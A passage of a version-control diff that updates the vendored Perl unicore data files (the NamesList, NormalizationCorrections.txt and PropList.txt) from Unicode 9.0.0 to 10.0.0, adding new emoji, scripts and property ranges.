-	~ 1F5E8 FE0E text style
-	~ 1F5E8 FE0F emoji style
 1F5E9	RIGHT SPEECH BUBBLE
 1F5EA	TWO SPEECH BUBBLES
 	= chat
@@ -46123,8 +47400,6 @@
 	= shout left
 1F5EF	RIGHT ANGER BUBBLE
 	= shout right
-	~ 1F5EF FE0E text style
-	~ 1F5EF FE0F emoji style
 1F5F0	MOOD BUBBLE
 	= new
 	x (collision symbol - 1F4A5)
@@ -46137,8 +47412,6 @@
 1F5F3	BALLOT BOX WITH BALLOT
 	= vote
 	x (ballot box with x - 2612)
-	~ 1F5F3 FE0E text style
-	~ 1F5F3 FE0F emoji style
 1F5F4	BALLOT SCRIPT X
 	= x mark
 	x (ballot x - 2717)
@@ -46154,8 +47427,6 @@
 	x (ballot box with check - 2611)
 @		Map symbol
 1F5FA	WORLD MAP
-	~ 1F5FA FE0E text style
-	~ 1F5FA FE0F emoji style
 @		Cultural symbols
 1F5FB	MOUNT FUJI
 1F5FC	TOKYO TOWER
@@ -46163,7 +47434,6 @@
 1F5FE	SILHOUETTE OF JAPAN
 1F5FF	MOYAI
 	* Japanese stone statue like Moai on Easter Island
-@~	!
 @@	1F600	Emoticons	1F64F
 @+		The emoticons have been organized by mouth shape to make it easier to locate the different characters in the code chart.
 @		Faces
@@ -46466,22 +47736,14 @@
 @+		These symbols constitute a set along with 1F378 for lounge.
 1F6CB	COUCH AND LAMP
 	= furniture, lifestyles
-	~ 1F6CB FE0E text style
-	~ 1F6CB FE0F emoji style
 1F6CC	SLEEPING ACCOMMODATION
 	= hotel, guestrooms
 	x (hotel - 1F3E8)
 1F6CD	SHOPPING BAGS
 	= shopping
-	~ 1F6CD FE0E text style
-	~ 1F6CD FE0F emoji style
 1F6CE	BELLHOP BELL
 	= reception, services
-	~ 1F6CE FE0E text style
-	~ 1F6CE FE0F emoji style
 1F6CF	BED
-	~ 1F6CF FE0E text style
-	~ 1F6CF FE0F emoji style
 @		Signage and other symbols
 1F6D0	PLACE OF WORSHIP
 1F6D1	OCTAGONAL SIGN
@@ -46489,35 +47751,27 @@
 	* may contain text indicating stop
 	x (warning sign - 26A0)
 	x (heavy white down-pointing triangle - 26DB)
+	x (horizontal black octagon - 2BC3)
 1F6D2	SHOPPING TROLLEY
 	= shopping cart
+@		Map symbols
+1F6D3	STUPA
+1F6D4	PAGODA
 @		Miscellaneous symbols
 1F6E0	HAMMER AND WRENCH
 	= tools, repair facility
 	x (hammer and pick - 2692)
-	~ 1F6E0 FE0E text style
-	~ 1F6E0 FE0F emoji style
 1F6E1	SHIELD
 	= US road interstate highway
-	~ 1F6E1 FE0E text style
-	~ 1F6E1 FE0F emoji style
 1F6E2	OIL DRUM
 	= commodities
-	~ 1F6E2 FE0E text style
-	~ 1F6E2 FE0F emoji style
 1F6E3	MOTORWAY
-	~ 1F6E3 FE0E text style
-	~ 1F6E3 FE0F emoji style
 1F6E4	RAILWAY TRACK
 	= railroad
-	~ 1F6E4 FE0E text style
-	~ 1F6E4 FE0F emoji style
 @		Vehicles
 1F6E5	MOTOR BOAT
 	= boat
 	x (speedboat - 1F6A4)
-	~ 1F6E5 FE0E text style
-	~ 1F6E5 FE0F emoji style
 1F6E6	UP-POINTING MILITARY AIRPLANE
 	= military airport
 1F6E7	UP-POINTING AIRPLANE
@@ -46526,8 +47780,6 @@
 1F6E8	UP-POINTING SMALL AIRPLANE
 	= airfield
 1F6E9	SMALL AIRPLANE
-	~ 1F6E9 FE0E text style
-	~ 1F6E9 FE0F emoji style
 1F6EA	NORTHEAST-POINTING AIRPLANE
 1F6EB	AIRPLANE DEPARTURE
 	= departures
@@ -46534,8 +47786,6 @@
 1F6EC	AIRPLANE ARRIVING
 	= arrivals
 1F6F0	SATELLITE
-	~ 1F6F0 FE0E text style
-	~ 1F6F0 FE0F emoji style
 1F6F1	ONCOMING FIRE ENGINE
 	= fire
 	x (fire engine - 1F692)
@@ -46546,12 +47796,14 @@
 1F6F3	PASSENGER SHIP
 	= cruise line vacation
 	x (ship - 1F6A2)
-	~ 1F6F3 FE0E text style
-	~ 1F6F3 FE0F emoji style
 1F6F4	SCOOTER
 1F6F5	MOTOR SCOOTER
 1F6F6	CANOE
-@~	!
+1F6F7	SLED
+	= sledge, toboggan
+1F6F8	FLYING SAUCER
+	= UFO
+	x (extraterrestrial alien - 1F47D)
 @@	1F700	Alchemical Symbols	1F77F
 @		Symbols for Aristotelian elements
 1F700	ALCHEMICAL SYMBOL FOR QUINTESSENCE
@@ -46796,7 +48048,6 @@
 1F785	MEDIUM BOLD WHITE CIRCLE
 	x (medium white circle - 26AA)
 1F786	BOLD WHITE CIRCLE
-	= very heavy circle
 1F787	HEAVY WHITE CIRCLE
 1F788	VERY HEAVY WHITE CIRCLE
 1F789	EXTREMELY HEAVY WHITE CIRCLE
@@ -47105,6 +48356,20 @@
 1F8AC	WHITE ARROW SHAFT WIDTH ONE
 1F8AD	WHITE ARROW SHAFT WIDTH TWO THIRDS
 @@	1F900	Supplemental Symbols and Pictographs	1F9FF
+@		Typicon symbols
+1F900	CIRCLED CROSS FORMEE WITH FOUR DOTS
+1F901	CIRCLED CROSS FORMEE WITH TWO DOTS
+1F902	CIRCLED CROSS FORMEE
+	x (maltese cross - 2720)
+1F903	LEFT HALF CIRCLE WITH FOUR DOTS
+1F904	LEFT HALF CIRCLE WITH THREE DOTS
+1F905	LEFT HALF CIRCLE WITH TWO DOTS
+1F906	LEFT HALF CIRCLE WITH DOT
+1F907	LEFT HALF CIRCLE
+1F908	DOWNWARD FACING HOOK
+1F909	DOWNWARD FACING NOTCHED HOOK
+1F90A	DOWNWARD FACING HOOK WITH DOT
+1F90B	DOWNWARD FACING NOTCHED HOOK WITH DOT
 @		Emoticon faces
 1F910	ZIPPER-MOUTH FACE
 1F911	MONEY-MOUTH FACE
@@ -47123,6 +48388,8 @@
 1F91C	RIGHT-FACING FIST
 1F91D	HANDSHAKE
 1F91E	HAND WITH INDEX AND MIDDLE FINGERS CROSSED
+1F91F	I LOVE YOU HAND SIGN
+	* can be abbreviated ILY
 @		Emoticon faces
 1F920	FACE WITH COWBOY HAT
 1F921	CLOWN FACE
@@ -47134,9 +48401,19 @@
 1F926	FACE PALM
 	= frustration, disbelief
 1F927	SNEEZING FACE
-	= gesundheit
+	= Gesundheit
+1F928	FACE WITH ONE EYEBROW RAISED
+1F929	GRINNING FACE WITH STAR EYES
+1F92A	GRINNING FACE WITH ONE LARGE AND ONE SMALL EYE
+1F92B	FACE WITH FINGER COVERING CLOSED LIPS
+1F92C	SERIOUS FACE WITH SYMBOLS COVERING MOUTH
+1F92D	SMILING FACE WITH SMILING EYES AND HAND COVERING MOUTH
+1F92E	FACE WITH OPEN MOUTH VOMITING
+1F92F	SHOCKED FACE WITH EXPLODING HEAD
 @		Portrait and role symbols
 1F930	PREGNANT WOMAN
+1F931	BREAST-FEEDING
+1F932	PALMS UP TOGETHER
 1F933	SELFIE
 	* typically used with face or human figure on the left
 1F934	PRINCE
@@ -47186,6 +48463,7 @@
 	= boxing
 1F94B	MARTIAL ARTS UNIFORM
 	= judo, karate, taekwondo
+1F94C	CURLING STONE
 @		Food symbols
 1F950	CROISSANT
 1F951	AVOCADO
@@ -47210,6 +48488,27 @@
 1F95E	PANCAKES
 	= hotcakes, crêpes, blini
 	* sweet or savory
+1F95F	DUMPLING
+	= potsticker, gyooza, jiaozi, pierogi, empanada
+1F960	FORTUNE COOKIE
+1F961	TAKEOUT BOX
+	= take-away box, oyster pail
+1F962	CHOPSTICKS
+	= kuaizi, hashi, jeotgarak
+1F963	BOWL WITH SPOON
+	* can indicate breakfast, cereal, congee, etc.
+1F964	CUP WITH STRAW
+	* can indicate soda, juice, etc.
+1F965	COCONUT
+1F966	BROCCOLI
+1F967	PIE
+	* may be sweet or savory
+1F968	PRETZEL
+	* can indicate twistiness, intricacy
+1F969	CUT OF MEAT
+	= porkchop, chop, steak
+1F96A	SANDWICH
+1F96B	CANNED FOOD
 @		Animal symbols
 1F980	CRAB
 	* used for Cancer
@@ -47235,8 +48534,61 @@
 1F98F	RHINOCEROS
 1F990	SHRIMP
 1F991	SQUID
+1F992	GIRAFFE FACE
+1F993	ZEBRA FACE
+1F994	HEDGEHOG
+1F995	SAUROPOD
+	* includes Brontosaurus, Diplodocus, Brachiosaurus
+1F996	T-REX
+	= Tyrannosaurus rex
+1F997	CRICKET
 @		Food symbol
 1F9C0	CHEESE WEDGE
+@		Portrait and role symbols
+1F9D0	FACE WITH MONOCLE
+1F9D1	ADULT
+	* no specified gender
+	x (man - 1F468)
+	x (woman - 1F469)
+1F9D2	CHILD
+	* no specified gender
+	x (boy - 1F466)
+	x (girl - 1F467)
+1F9D3	OLDER ADULT
+	* no specified gender
+	x (older man - 1F474)
+	x (older woman - 1F475)
+1F9D4	BEARDED PERSON
+1F9D5	PERSON WITH HEADSCARF
+	= woman's headscarf, hijab
+1F9D6	PERSON IN STEAMY ROOM
+	= sauna, steam room
+1F9D7	PERSON CLIMBING
+1F9D8	PERSON IN LOTUS POSITION
+	= yoga, meditation
+@		Fantasy beings
+1F9D9	MAGE
+	= wizard, witch, sorcerer, sorceress
+1F9DA	FAIRY
+1F9DB	VAMPIRE
+1F9DC	MERPERSON
+	= mermaid, merman
+1F9DD	ELF
+1F9DE	GENIE
+1F9DF	ZOMBIE
+@		Miscellaneous symbols
+1F9E0	BRAIN
+1F9E1	ORANGE HEART
+	x (blue heart - 1F499)
+	x (green heart - 1F49A)
+	x (yellow heart - 1F49B)
+	x (purple heart - 1F49C)
+1F9E2	BILLED CAP
+	= baseball cap
+1F9E3	SCARF
+1F9E4	GLOVES
+1F9E5	COAT
+1F9E6	SOCKS
 @@	1FF80	Unassigned	1FFFF
 @		Noncharacters
 @+		These codes are intended for process-internal uses.
@@ -47246,6 +48598,7 @@
 @@	2A700	CJK Unified Ideographs Extension C	2B734
 @@	2B740	CJK Unified Ideographs Extension D	2B81D
 @@	2B820	CJK Unified Ideographs Extension E	2CEA1
+@@	2CEB0	CJK Unified Ideographs Extension F	2EBE0
 @@	2F800	CJK Compatibility Ideographs Supplement	2FA1F
 @		Duplicate characters from CNS 11643-1992
 2F800	CJK COMPATIBILITY IDEOGRAPH-2F800
@@ -48508,8 +49861,9 @@
 @		Stateful tag terminator
 E007F	CANCEL TAG
 @@	E0100	Variation Selectors Supplement	E01EF
- at +		These complete the set started at FE00 to FE0F
-@		Variation selectors
+ at +		These complete the set started at FE00 to FE0F.
+@		Ideographic-specific variation selectors
+ at +		For documentation about use of these with ideographs, see UTS #37, Unicode Ideographic Variation Database.
 E0100	VARIATION SELECTOR-17
 	* these are abbreviated VS17, and so on
 E0101	VARIATION SELECTOR-18

Modified: vendor/perl/dist/lib/unicore/NormalizationCorrections.txt
===================================================================
--- vendor/perl/dist/lib/unicore/NormalizationCorrections.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/NormalizationCorrections.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# NormalizationCorrections-9.0.0.txt
-# Date: 2016-01-21, 22:00:00 GMT [KW, LI]
-# © 2016 Unicode®, Inc.
+# NormalizationCorrections-10.0.0.txt
+# Date: 2017-04-13, 01:00:00 GMT [KW, LI]
+# © 2017 Unicode®, Inc.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
 # Unicode Character Database
@@ -27,7 +27,7 @@
 #
 # Currently this list has exactly six entries in it, one for the
 # typo found and corrected in Corrigendum #3, and five for
-# the typos and misidentifications found and corrected in 
+# the typos and misidentifications found and corrected in
 # Corrigendum #4. All efforts
 # will be made to keep the entries limited to just those fixes.
 #
@@ -37,7 +37,7 @@
 #   Field 2: Corrected decomposition
 #   Field 3: Version of Unicode for which the correction was
 #            entered into UnicodeData.txt, in n.n.n format.
-#   Comment: Indicates the Unicode Corrigendum which documents 
+#   Comment: Indicates the Unicode Corrigendum which documents
 #            the correction
 #
 # For more information, see UAX #15, Unicode Normalization Forms.

Modified: vendor/perl/dist/lib/unicore/PropList.txt
===================================================================
--- vendor/perl/dist/lib/unicore/PropList.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/PropList.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# PropList-9.0.0.txt
-# Date: 2016-06-01, 10:34:30 GMT
-# © 2016 Unicode®, Inc.
+# PropList-10.0.0.txt
+# Date: 2017-03-10, 08:25:30 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -199,6 +199,9 @@
 115C9..115D7  ; Terminal_Punctuation # Po  [15] SIDDHAM END OF TEXT MARK..SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES
 11641..11642  ; Terminal_Punctuation # Po   [2] MODI DANDA..MODI DOUBLE DANDA
 1173C..1173E  ; Terminal_Punctuation # Po   [3] AHOM SIGN SMALL SECTION..AHOM SIGN RULAI
+11A42..11A43  ; Terminal_Punctuation # Po   [2] ZANABAZAR SQUARE MARK SHAD..ZANABAZAR SQUARE MARK DOUBLE SHAD
+11A9B..11A9C  ; Terminal_Punctuation # Po   [2] SOYOMBO MARK SHAD..SOYOMBO MARK DOUBLE SHAD
+11AA1..11AA2  ; Terminal_Punctuation # Po   [2] SOYOMBO TERMINAL MARK-1..SOYOMBO TERMINAL MARK-2
 11C41..11C43  ; Terminal_Punctuation # Po   [3] BHAIKSUKI DANDA..BHAIKSUKI WORD SEPARATOR
 11C71         ; Terminal_Punctuation # Po       MARCHEN MARK SHAD
 12470..12474  ; Terminal_Punctuation # Po   [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON
@@ -209,7 +212,7 @@
 1BC9F         ; Terminal_Punctuation # Po       DUPLOYAN PUNCTUATION CHINOOK FULL STOP
 1DA87..1DA8A  ; Terminal_Punctuation # Po   [4] SIGNWRITING COMMA..SIGNWRITING COLON
 
-# Total code points: 246
+# Total code points: 252
 
 # ================================================
 
@@ -471,6 +474,7 @@
 0AC9          ; Other_Alphabetic # Mc       GUJARATI VOWEL SIGN CANDRA O
 0ACB..0ACC    ; Other_Alphabetic # Mc   [2] GUJARATI VOWEL SIGN O..GUJARATI VOWEL SIGN AU
 0AE2..0AE3    ; Other_Alphabetic # Mn   [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL
+0AFA..0AFC    ; Other_Alphabetic # Mn   [3] GUJARATI SIGN SUKUN..GUJARATI SIGN MADDAH
 0B01          ; Other_Alphabetic # Mn       ORIYA SIGN CANDRABINDU
 0B02..0B03    ; Other_Alphabetic # Mc   [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA
 0B3E          ; Other_Alphabetic # Mc       ORIYA VOWEL SIGN AA
@@ -508,7 +512,7 @@
 0CCC          ; Other_Alphabetic # Mn       KANNADA VOWEL SIGN AU
 0CD5..0CD6    ; Other_Alphabetic # Mc   [2] KANNADA LENGTH MARK..KANNADA AI LENGTH MARK
 0CE2..0CE3    ; Other_Alphabetic # Mn   [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
-0D01          ; Other_Alphabetic # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; Other_Alphabetic # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
 0D02..0D03    ; Other_Alphabetic # Mc   [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
 0D3E..0D40    ; Other_Alphabetic # Mc   [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II
 0D41..0D44    ; Other_Alphabetic # Mn   [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
@@ -726,6 +730,17 @@
 11722..11725  ; Other_Alphabetic # Mn   [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU
 11726         ; Other_Alphabetic # Mc       AHOM VOWEL SIGN E
 11727..1172A  ; Other_Alphabetic # Mn   [4] AHOM VOWEL SIGN AW..AHOM VOWEL SIGN AM
+11A01..11A06  ; Other_Alphabetic # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A07..11A08  ; Other_Alphabetic # Mc   [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A09..11A0A  ; Other_Alphabetic # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A35..11A38  ; Other_Alphabetic # Mn   [4] ZANABAZAR SQUARE SIGN CANDRABINDU..ZANABAZAR SQUARE SIGN ANUSVARA
+11A39         ; Other_Alphabetic # Mc       ZANABAZAR SQUARE SIGN VISARGA
+11A3B..11A3E  ; Other_Alphabetic # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A51..11A56  ; Other_Alphabetic # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A57..11A58  ; Other_Alphabetic # Mc   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A59..11A5B  ; Other_Alphabetic # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A8A..11A96  ; Other_Alphabetic # Mn  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A97         ; Other_Alphabetic # Mc       SOYOMBO SIGN VISARGA
 11C2F         ; Other_Alphabetic # Mc       BHAIKSUKI VOWEL SIGN AA
 11C30..11C36  ; Other_Alphabetic # Mn   [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L
 11C38..11C3D  ; Other_Alphabetic # Mn   [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA
@@ -737,6 +752,12 @@
 11CB2..11CB3  ; Other_Alphabetic # Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB4         ; Other_Alphabetic # Mc       MARCHEN VOWEL SIGN O
 11CB5..11CB6  ; Other_Alphabetic # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D31..11D36  ; Other_Alphabetic # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; Other_Alphabetic # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; Other_Alphabetic # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D41  ; Other_Alphabetic # Mn   [3] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI SIGN VISARGA
+11D43         ; Other_Alphabetic # Mn       MASARAM GONDI SIGN CANDRA
+11D47         ; Other_Alphabetic # Mn       MASARAM GONDI RA-KARA
 16B30..16B36  ; Other_Alphabetic # Mn   [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM
 16F51..16F7E  ; Other_Alphabetic # Mc  [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG
 1BC9E         ; Other_Alphabetic # Mn       DUPLOYAN DOUBLE MARK
@@ -750,7 +771,7 @@
 1F150..1F169  ; Other_Alphabetic # So  [26] NEGATIVE CIRCLED LATIN CAPITAL LETTER A..NEGATIVE CIRCLED LATIN CAPITAL LETTER Z
 1F170..1F189  ; Other_Alphabetic # So  [26] NEGATIVE SQUARED LATIN CAPITAL LETTER A..NEGATIVE SQUARED LATIN CAPITAL LETTER Z
 
-# Total code points: 1238
+# Total code points: 1300
 
 # ================================================
 
@@ -759,18 +780,20 @@
 3021..3029    ; Ideographic # Nl   [9] HANGZHOU NUMERAL ONE..HANGZHOU NUMERAL NINE
 3038..303A    ; Ideographic # Nl   [3] HANGZHOU NUMERAL TEN..HANGZHOU NUMERAL THIRTY
 3400..4DB5    ; Ideographic # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
-4E00..9FD5    ; Ideographic # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
+4E00..9FEA    ; Ideographic # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
 F900..FA6D    ; Ideographic # Lo [366] CJK COMPATIBILITY IDEOGRAPH-F900..CJK COMPATIBILITY IDEOGRAPH-FA6D
 FA70..FAD9    ; Ideographic # Lo [106] CJK COMPATIBILITY IDEOGRAPH-FA70..CJK COMPATIBILITY IDEOGRAPH-FAD9
 17000..187EC  ; Ideographic # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
 18800..18AF2  ; Ideographic # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
+1B170..1B2FB  ; Ideographic # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
 20000..2A6D6  ; Ideographic # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6
 2A700..2B734  ; Ideographic # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
 2B740..2B81D  ; Ideographic # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B820..2CEA1  ; Ideographic # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+2CEB0..2EBE0  ; Ideographic # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
 2F800..2FA1D  ; Ideographic # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 
-# Total code points: 88284
+# Total code points: 96174
 
 # ================================================
 
@@ -826,6 +849,7 @@
 0A4D          ; Diacritic # Mn       GURMUKHI SIGN VIRAMA
 0ABC          ; Diacritic # Mn       GUJARATI SIGN NUKTA
 0ACD          ; Diacritic # Mn       GUJARATI SIGN VIRAMA
+0AFD..0AFF    ; Diacritic # Mn   [3] GUJARATI SIGN THREE-DOT NUKTA ABOVE..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B3C          ; Diacritic # Mn       ORIYA SIGN NUKTA
 0B4D          ; Diacritic # Mn       ORIYA SIGN VIRAMA
 0BCD          ; Diacritic # Mn       TAMIL SIGN VIRAMA
@@ -832,6 +856,7 @@
 0C4D          ; Diacritic # Mn       TELUGU SIGN VIRAMA
 0CBC          ; Diacritic # Mn       KANNADA SIGN NUKTA
 0CCD          ; Diacritic # Mn       KANNADA SIGN VIRAMA
+0D3B..0D3C    ; Diacritic # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D4D          ; Diacritic # Mn       MALAYALAM SIGN VIRAMA
 0DCA          ; Diacritic # Mn       SINHALA SIGN AL-LAKUNA
 0E47..0E4C    ; Diacritic # Mn   [6] THAI CHARACTER MAITAIKHU..THAI CHARACTER THANTHAKHAT
@@ -871,10 +896,11 @@
 1CE2..1CE8    ; Diacritic # Mn   [7] VEDIC SIGN VISARGA SVARITA..VEDIC SIGN VISARGA ANUDATTA WITH TAIL
 1CED          ; Diacritic # Mn       VEDIC SIGN TIRYAK
 1CF4          ; Diacritic # Mn       VEDIC TONE CANDRA ABOVE
+1CF7          ; Diacritic # Mc       VEDIC SIGN ATIKRAMA
 1CF8..1CF9    ; Diacritic # Mn   [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
 1D2C..1D6A    ; Diacritic # Lm  [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI
 1DC4..1DCF    ; Diacritic # Mn  [12] COMBINING MACRON-ACUTE..COMBINING ZIGZAG BELOW
-1DF5          ; Diacritic # Mn       COMBINING UP TACK ABOVE
+1DF5..1DF9    ; Diacritic # Mn   [5] COMBINING UP TACK ABOVE..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFD..1DFF    ; Diacritic # Mn   [3] COMBINING ALMOST EQUAL TO BELOW..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 1FBD          ; Diacritic # Sk       GREEK KORONIS
 1FBF..1FC1    ; Diacritic # Sk   [3] GREEK PSILI..GREEK DIALYTIKA AND PERISPOMENI
@@ -947,7 +973,12 @@
 116B6         ; Diacritic # Mc       TAKRI SIGN VIRAMA
 116B7         ; Diacritic # Mn       TAKRI SIGN NUKTA
 1172B         ; Diacritic # Mn       AHOM SIGN KILLER
+11A34         ; Diacritic # Mn       ZANABAZAR SQUARE SIGN VIRAMA
+11A47         ; Diacritic # Mn       ZANABAZAR SQUARE SUBJOINER
+11A99         ; Diacritic # Mn       SOYOMBO SUBJOINER
 11C3F         ; Diacritic # Mn       BHAIKSUKI SIGN VIRAMA
+11D42         ; Diacritic # Mn       MASARAM GONDI SIGN NUKTA
+11D44..11D45  ; Diacritic # Mn   [2] MASARAM GONDI SIGN HALANTA..MASARAM GONDI VIRAMA
 16AF0..16AF4  ; Diacritic # Mn   [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE
 16F8F..16F92  ; Diacritic # Mn   [4] MIAO TONE RIGHT..MIAO TONE BELOW
 16F93..16F9F  ; Diacritic # Lm  [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
@@ -960,7 +991,7 @@
 1E944..1E946  ; Diacritic # Mn   [3] ADLAM ALIF LENGTHENER..ADLAM GEMINATION MARK
 1E948..1E94A  ; Diacritic # Mn   [3] ADLAM CONSONANT MODIFIER..ADLAM NUKTA
 
-# Total code points: 782
+# Total code points: 798
 
 # ================================================
 
@@ -989,11 +1020,12 @@
 FF70          ; Extender # Lm       HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK
 1135D         ; Extender # Lo       GRANTHA SIGN PLUTA
 115C6..115C8  ; Extender # Po   [3] SIDDHAM REPETITION MARK-1..SIDDHAM REPETITION MARK-3
+11A98         ; Extender # Mn       SOYOMBO GEMINATION MARK
 16B42..16B43  ; Extender # Lm   [2] PAHAWH HMONG SIGN VOS NRUA..PAHAWH HMONG SIGN IB YAM
-16FE0         ; Extender # Lm       TANGUT ITERATION MARK
+16FE0..16FE1  ; Extender # Lm   [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 1E944..1E946  ; Extender # Mn   [3] ADLAM ALIF LENGTHENER..ADLAM GEMINATION MARK
 
-# Total code points: 42
+# Total code points: 44
 
 # ================================================
 
@@ -1105,7 +1137,7 @@
 # ================================================
 
 3400..4DB5    ; Unified_Ideograph # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
-4E00..9FD5    ; Unified_Ideograph # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
+4E00..9FEA    ; Unified_Ideograph # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
 FA0E..FA0F    ; Unified_Ideograph # Lo   [2] CJK COMPATIBILITY IDEOGRAPH-FA0E..CJK COMPATIBILITY IDEOGRAPH-FA0F
 FA11          ; Unified_Ideograph # Lo       CJK COMPATIBILITY IDEOGRAPH-FA11
 FA13..FA14    ; Unified_Ideograph # Lo   [2] CJK COMPATIBILITY IDEOGRAPH-FA13..CJK COMPATIBILITY IDEOGRAPH-FA14
@@ -1117,8 +1149,9 @@
 2A700..2B734  ; Unified_Ideograph # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
 2B740..2B81D  ; Unified_Ideograph # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B820..2CEA1  ; Unified_Ideograph # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+2CEB0..2EBE0  ; Unified_Ideograph # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
 
-# Total code points: 80388
+# Total code points: 87882
 
 # ================================================
 
@@ -1277,6 +1310,8 @@
 115C9..115D7  ; Sentence_Terminal # Po  [15] SIDDHAM END OF TEXT MARK..SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES
 11641..11642  ; Sentence_Terminal # Po   [2] MODI DANDA..MODI DOUBLE DANDA
 1173C..1173E  ; Sentence_Terminal # Po   [3] AHOM SIGN SMALL SECTION..AHOM SIGN RULAI
+11A42..11A43  ; Sentence_Terminal # Po   [2] ZANABAZAR SQUARE MARK SHAD..ZANABAZAR SQUARE MARK DOUBLE SHAD
+11A9B..11A9C  ; Sentence_Terminal # Po   [2] SOYOMBO MARK SHAD..SOYOMBO MARK DOUBLE SHAD
 11C41..11C42  ; Sentence_Terminal # Po   [2] BHAIKSUKI DANDA..BHAIKSUKI DOUBLE DANDA
 16A6E..16A6F  ; Sentence_Terminal # Po   [2] MRO DANDA..MRO DOUBLE DANDA
 16AF5         ; Sentence_Terminal # Po       BASSA VAH FULL STOP
